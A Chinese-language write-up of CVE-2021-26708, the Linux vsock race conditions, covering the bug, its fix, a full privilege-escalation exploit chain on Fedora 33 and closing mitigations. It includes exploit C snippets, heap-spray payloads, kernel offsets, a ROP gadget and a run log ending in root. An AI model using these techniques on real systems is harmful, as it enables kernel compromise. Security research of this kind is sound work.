0x00 前言
CVE-2021-26708描述为在Linux内核的虚拟套接字实现中的五个条件竞争漏洞。我在2021年1月发现并修复了它们。在这篇文章中,我将阐述如何利用它们在Fedora 33 Server(x86_64) 上绕过 SMEP和SMAP 进行本地提权。关于这个漏洞,我在Zer0Con 2021上进行了演讲(http://zer0con.org/#speaker-section),PDF地址如下:https://a13xp0p0v.github.io/img/CVE-2021-26708.pdf 。
这个漏洞中,条件竞争可以被转化为有限的内存崩溃,进而再转化为对内核内存的任意读/写,最终完全控制系统。这就是为什么我把这篇文章命名为 “四字节的力量”。 POC 的演示视频地址为:https://youtu.be/EC8PFOYOUgU 。
0x01 脆弱点
这些漏洞是由net/vmw_vsock/af_vsock.c
中的错误锁定引起的条件竞争。这些条件竞争是在2019年11月添加VSOCK
多传输支持的提交中隐式引入的,并被合并到Linux内核5.5-rc1
版本中。
CONFIG_VSOCKETS
和CONFIG_VIRTIO_VSOCKETS
在所有主要的GNU/Linux发行版中都作为内核模块提供。当你为AF_VSOCK
域创建一个套接字时,这些易受攻击的模块会自动加载。
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
AF_VSOCK
套接字的创建对非特权用户来说是可用的,并不需要用户名空间。
0x02 漏洞及修复
我使用自定义配置的 syzkaller fuzzer,在今年1月11日,发现在virtio_transport_notify_buffer_size()
中出现了可疑的内核崩溃。然而,fuzzer并没有重现这个崩溃,所以我开始检查源代码并进行漏洞的重现研究。
几天后,我发现vsock_stream_setsockopt()
中的一个令人疑惑的漏洞,看起来似乎故意如此:
struct sock *sk;
struct vsock_sock *vsk;
const struct vsock_transport *transport;
/* ... */
sk = sock->sk;
vsk = vsock_sk(sk);
transport = vsk->transport;
lock_sock(sk);
在调用lock_sock()
之前,指向虚拟套接字传输的指针被复制到一个本地变量中。但是当套接字锁没有被获取时,vsk->transport
的值可能会被改变!这是一个明显的条件竞争错误。我检查了整个af_vsock.c
文件,又发现了四个类似的问题。
搜索git历史记录有助于了解原因。最初,虚拟套接字的传输是无法改变的,所以将vsk->transport
的值复制到本地变量是安全的。后来,这个漏洞被隐式的引入进 commit c0cfa2d8a788fcf4
(vsock: add multi-transports support)和commit 6a2c0962105ae8ce
(vsock: prevent transport modules unloading)。
脆弱点的修复很简单:
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
lock_sock(sk);
+ transport = vsk->transport;
0x03 内存破坏
下面详细介绍CVE-2021-26708的利用,利用了vsock_stream_etssockopt()
中的条件竞争,复现需要两个线程,第一个线程调用setsockopt()
:
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
第二个线程在vsock_stream_etssockopt()
试图获取套接字锁时改变虚拟套接字传输,通过重新连接虚拟套接字实现:
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
为了处理虚拟套接字的 connect()
,内核执行调用 vsock_assign_transport()
的 vsock_stream_connect()
。这个函数包含如下代码:
if (vsk->transport) {
if (vsk->transport == new_transport)
return 0;
/* transport->release() must be called with sock lock acquired.
* This path can only be taken during vsock_stream_connect(),
* where we have already held the sock lock.
* In the other cases, this function is called on a new socket
* which is not assigned to any transport.
*/
vsk->transport->release(vsk);
vsock_deassign_transport(vsk);
}
vsock_stream_connect()
包含套接字锁,并行线程中的vsock_stream_setsockopt()
也尝试获取它,构成条件竞争。因此,当用不同的svm_cid
进行第二次connect()
时,vsock_deassign_transport()
函数被调用。该函数执行virtio_transport_destruct()
,释放vsock_sock.trans
,vsk->transport
被设置为NULL。当vsock_stream_connect()
释放套接字锁时,vsock_stream_setsockopt()
可以继续执行。它调用vsock_update_buffer_size()
,随后调用transport->notify_buffer_size()
。这里transport
包含一个来自本地变量的过时的值,与vsk->transport
不匹配(本因被设为NULL)。
内核执行virtio_transport_notify_buffer_size()
,出现内存破坏:
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
struct virtio_vsock_sock *vvs = vsk->trans;
if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
*val = VIRTIO_VSOCK_MAX_BUF_SIZE;
vvs->buf_alloc = *val;
virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
这里,vvs
是指向内核内存的指针,它已经在virtio_transport_destruct()
中被释放。struct virtio_vsock_sock
的大小为64字节,位于kmalloc-64
块缓存中。buf_alloc
字段类型为u32
,位于偏移量40。VIRTIO_VSOCK_MAX_BUF_SIZE
是0xFFFFFFFFUL
。*val
的值由攻击者控制,它的四个最不重要的字节被写入释放的内存中。
0x04 模糊测试
syzkaller fuzzer没有办法重现这个崩溃,于是我决定自行研究。但为什么fuzzer会失败呢?观察vsock_update_buffer_size()
有所发现:
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val);
vsk->buffer_size = val;
只有当val
与当前的buffer_size
不同时,才会调用notify_buffer_size()
,也就是说setsockopt()
执行SO_VM_SOCKETS_BUFFER_SIZE
时,每次调用的size
参数都应该不同。于是我构建了相关代码,地址为:https://a13xp0p0v.github.io/img/vsock_racer.c:
struct timespec tp;
unsigned long size = 0;
clock_gettime(CLOCK_MONOTONIC, &tp);
size = tp.tv_nsec;
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
这里的size
值取自clock_gettime()
返回的纳秒数,每次都可能不同。原始的syzkaller
不会这么处理,因为在syzkaller
生成 fuzzing输入时,syscall参数的值被确定,执行时不会改变。
0x05 四字节的力量
这里我选择Fedora 33 Server作为研究目标,内核版本为5.10.11-200.fc33.x86_64
,并决心绕过SMEP和SMAP。
第一步,我开始研究稳定的堆喷射,该漏洞利用执行用户空间的活动,使内核在释放的virtio_vsock_sock
的位置分配另一个64字节的对象。经过几次实验性尝试后,确认释放的virtio_vsock_sock
被覆盖,说明堆喷射是可行的。最终我找到了msgsnd()
syscall。它在内核空间中创建了struct msg_msg
,见pahole
输出:
struct msg_msg {
struct list_head m_list; /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
前面是消息头,后面是消息数据。如果用户空间中的struct msgbuf
有一个16字节的mtext
,则会在kmalloc-64
块缓存中创建相应的msg_msg
。4字节的write-after-free会破坏偏移量40的void *security
指针。msg_msg.security
字段指向由lsm_msg_msg_alloc()
分配的内核数据,当收到 msg_msg
时,就会被security_msg_msg_free()
释放。因此,破坏security
指针的前半部分,就能获得 arbitrary free。
0x06 内核信息泄露
这里使用了CVE-2019-18683 exploit相同的技巧。我在前面提到过,虚拟套接字的第二个connect()
调用vsock_deassign_transport()
,将vsk->transport
设置为NULL,使得vsock_stream_setsockopt()
在内存崩溃后调用virtio_transport_send_pkt_info()
,出现内核告警:
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]
...
通过gdb
调试,发现RCX
寄存器包含了释放的virtio_vsock_sock
的内核地址,RBX
寄存器包含了vsock_sock
的内核地址。
0x07 实现任意读
从 arbitrary free 到 use-after-free
- 从泄露的内核地址释放一个对象
- 执行堆喷,用受控数据覆盖该对象
- 使用损坏的对象进行权限升级
内核实现的System V消息有限制最大值DATALEN_MSG
,即PAGE_SIZE
减去sizeof(struct msg_msg))
。如果你发送了更大的消息,剩余的消息会被保存在消息段的列表中。msg_msg
中包含struct msg_msgseg *next
用于指向第一个段,size_t m_ts
用于存储大小。当进行覆盖操作时,就可以把受控的值放在msg_msg.m_ts
和msg_msg.next
中:
payload如下:
#define PAYLOAD_SZ 40
void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
struct msg_msg *msg_ptr;
xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0xa5, PAGE_SIZE * 4);
printf("[+] adapt the msg_msg spraying payload:\n");
msg_ptr = (struct msg_msg *)xattr_addr;
msg_ptr->m_type = 0x1337;
msg_ptr->m_ts = ARB_READ_SZ;
msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
msg_ptr,
msg_ptr->m_type, &(msg_ptr->m_type),
msg_ptr->m_ts, &(msg_ptr->m_ts),
msg_ptr->next, &(msg_ptr->next));
}
但是如何使用msg_msg
读取内核数据呢?通过阅读msgrcv()
系统调用文档,我找到了好解决方案,使用msgrcv()
和MSG
标志:
MSG_COPY (since Linux 3.8)
Nondestructively fetch a copy of the message at the ordinal position in the queue
specified by msgtyp (messages are considered to be numbered starting at 0).
这个标志使内核将消息数据复制到用户空间,不从消息队列中删除。如果内核有CONFIG_CHECKPOINT_RESTORE=y
,则MSG
是可用的,在Fedora Server适用。
任意读的步骤
- 准备工作:
- 使用
sched_getaffinity()
和CPU_COUNT()
计算可用的CPU数量(该漏洞至少需要两个); - 打开
/dev/kmsg
进行解析; -
mmap()
将spray_data
内存区域配置userfaultfd()
作为最后一部分; - 启动一个单独的
pthread
来处理userfaultfd()
事件; - 启动127个
threads
用于msg_msg
上的setxattr()&userfaultfd()
堆喷射,并将它们挂在thread_barrier
上;
- 使用
- 获取原始
msg_msg
的内核地址:- 在虚拟套接字上进行条件竞争;
- 在第二个
connect()
后,在忙循环中等待35微秒; - 调用
msgsnd()
来建立一个单独的消息队列;在内存破坏后,msg_msg
对象被放置在virtio_vsock_sock
位置; - 解析内核日志,从内核警告(
RCX
寄存器)中保存msg_msg
的内核地址; - 同时,从
RBX
寄存器中保存vsock_sock
的内核地址;
- 使用损坏的
msg_msg
对原始msg_msg
执行任意释放:- 使用原始
msg_msg
地址的4个字节作为SO_VM_SOCKETS_BUFFER_SIZE
,用于实现内存破坏; - 在虚拟套接字上进行条件竞争;
- 在第二个
connect()
之后马上调用msgsnd()
;msg_msg
被放置在virtio_vsock_sock
的位置,实现破坏; - 现在被破坏的
msg_msg
的security
指针存储原始msg_msg
的地址(来自步骤2); - 如果在处理
msgsnd()
的过程中发生了来自setsockopt()
线程的msg_msg.security
内存损坏,进而SELinux权限检查失败; - 在这种情况下,
msgsnd()
返回-1
,损坏的msg_msg
被销毁;释放msg_msg.security
可以释放原始msg_msg
;
- 使用原始
- 用一个可控的payload 覆盖原始
msg_msg
:-
msgsnd()
失败后,漏洞就会调用pthread_barrier_wait()
,调用127个用于堆喷射的pthreads
; - 这些
pthreads
执行setxattr()
的payload; - 原始
msg_msg
被可控的数据覆盖,msg_msg.next
指针存储vsock_sock
对象的地址;
-
- 通过从存储被覆盖的
msg_msg
的消息队列中接收消息,将vsock_sock
内核对象的内容读到用户空间:ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
0x08 寻找攻击目标
以下是我找到的点:
1.专用的块缓存,如PINGv6
和sock_inode_cache
有很多指向对象的指针
2.struct mem_cgroup *sk_memcg
指针在vsock_sock.sk
偏移量664处。mem_cgroup
结构是在kmalloc-4k
块缓存中分配的。
3.const struct cred *owner
指针在vsock_sock.sk
偏移量840处,存储了可以覆盖进行权限升级的凭证的地址。
4.void (*sk_write_space)(struct sock *)
函数指针在vsock_sock.sk
偏移量688处,被设置为sock_def_write_space()
内核函数的地址。它可以用来计算KASLR
偏移量。
下面是该漏洞如何从内存中提取这些指针:
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)
/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
* function pointer for calculating KASLR secret
*/
#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;
/* ... */
sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
sk_memcg, SK_MEMCG_RD_LOCATION);
owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
owner_cred, OWNER_CRED_RD_LOCATION);
sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);
kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
0x09 在 sk_buff 上实现 Use-after-free
Linux内核中与网络相关的缓冲区用struct sk_buff
表示,这个对象中有skb_shared_info
与destructor_arg
,可以用于控制流劫持。网络数据和skb_shared_info
被放置在由sk_buff.head
指向的同一个内核内存块中。因此,在用户空间中创建一个2800字节的网络数据包会使skb_shared_info
被分配到kmalloc-4k
块缓存中,mem_cgroup
对象也是如此。
我构建了以下步骤:
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
创建一个客户端套接字和32个服务器套接字
2.在用户空间中准备一个2800字节的缓冲区,并用0x42对其memset()
3.用sendto()
将这个缓冲区从客户端套接字发送到每个服务器套接字,用于在kmalloc-4k
中创建sk_buff
对象。在每个可用的CPU上使用`sched_setaffinity()
4.对vsock_sock
执行任意读取过程
5.计算可能的sk_buff
内核地址为sk_memcg
加4096(kmalloc-4k
的下一个元素)
6.对这个可能的sk_buff
地址执行任意读
7.如果在网络数据的位置找到0x42424242424242lu,则找到真正的sk_buff
,进入步骤8。否则,在可能的sk_buff
地址上加4096,转到步骤6
8.sk_buff
上执行32个pthreads
的setxattr()&userfaultfd()
堆喷射,并把它们挂在pthread_barrier
上
9.对sk_buff
内核地址进行任意释放
10.调用pthread_barrier_wait()
,执行32个setxattr()
覆盖skb_shared_info
的堆喷pthreads
11.使用recv()
接收服务器套接字的网络消息。
0x10 通过skb_shared_info 进行任意写
以下是覆盖sk_buff
对象的有效payload:
#define SKB_SIZE 4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET 256
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void prepare_xattr_vs_skb_spray(void)
{
struct skb_shared_info *info = NULL;
xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0x0, PAGE_SIZE * 4);
info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
info->tx_flags = SKBTX_DEV_ZEROCOPY;
info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;
uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
skb_shared_info
驻留在喷射数据中,正好在偏移量SKB_SHINFO_OFFSET
处,即3776字节。skb_shared_info.destructor_arg
指针存储了struct ubuf_info
的地址。因为被攻击的sk_buff
的内核地址是已知的,所以能在网络缓冲区的MY_UINFO_OFFSET
处创建了一个假的ubuf_info
。下面是有效payload的布局:
下面讲讲destructor_arg
回调:
/*
* A single ROP gadget for arbitrary write:
* mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
由于在vmlinuz-5.10.11-200.fc33.x86_64
中找不到一个能满足我需求的gadget,所以我自己进行了研究构造。
callback
函数指针存储一个ROP gadget 地址,RDI
存储callback
函数的第一个参数,也就是ubuf_info
本身的地址,RDI + 8
指向ubuf_info.desc
。gadget 将ubuf_info.desc
移动到RDX
。现在RDX
包含有效用户ID和组ID的地址减一个字节。这个字节很重要:当gadget从 RSI
向 RDX
指向的内存中写入消息1时,有效的 uid
和 gid
将被零覆盖。重复同样的过程,直到权限升级到root
。整个过程输出流如下:
[a13x@localhost ~]$ ./vsock_pwn
=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================
[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready
[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3
[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000
[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb
[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15
[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30
[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
0x11 防范措施
以下技术可以防止CVE-2021-26708,或使其难以被利用:
1.使用Linux内核堆隔离,因为内存损坏发生在条件竞争之后不久。参见https://a13xp0p0v.github.io/2020/11/30/slab-quarantine.html
2.grsecurity补丁中的MODHARDEN
可以防止无权限的用户自动加载内核模块
3.将/proc/sys/vm/unprivileged_userfaultfd
设置为0
能阻止payload驻留在内核空间
4.将kernel.dmesg_restrict
sysctl 设置为1
能阻止通过内核日志的信息泄露
5.控制流完整性技术(Control Flow Integrity)可以防止该 ROP gadget 调用。参见:https://github.com/a13xp0p0v/linux-kernel-defence-map
6.希望未来的Linux内核版本能够支持ARM内存标签扩展(MTE)来缓解ARM上的use-after-free
7.我还听说过一个叫做AUTOSLAB
的grsecurity 技术,它根据对象类型在块缓存的不同,分配内核对象。这可能会使该漏洞中使用的堆喷技术无效
0x12 结尾
研究、修复CVE-2021-26708和开发POC是一个有趣而又疲惫的旅程。我在Fedora 33 Server(x86_64) 上绕过SMEP和SMAP,将一个内存破坏非常有限的条件竞争变成了对内核内存的任意读/写和权限升级。在这个研究过程中,实现了几个新的漏洞利用技巧,相信这篇文章够为改善内核安全提供新思路。
发表评论
您还未登录,请先登录。
登录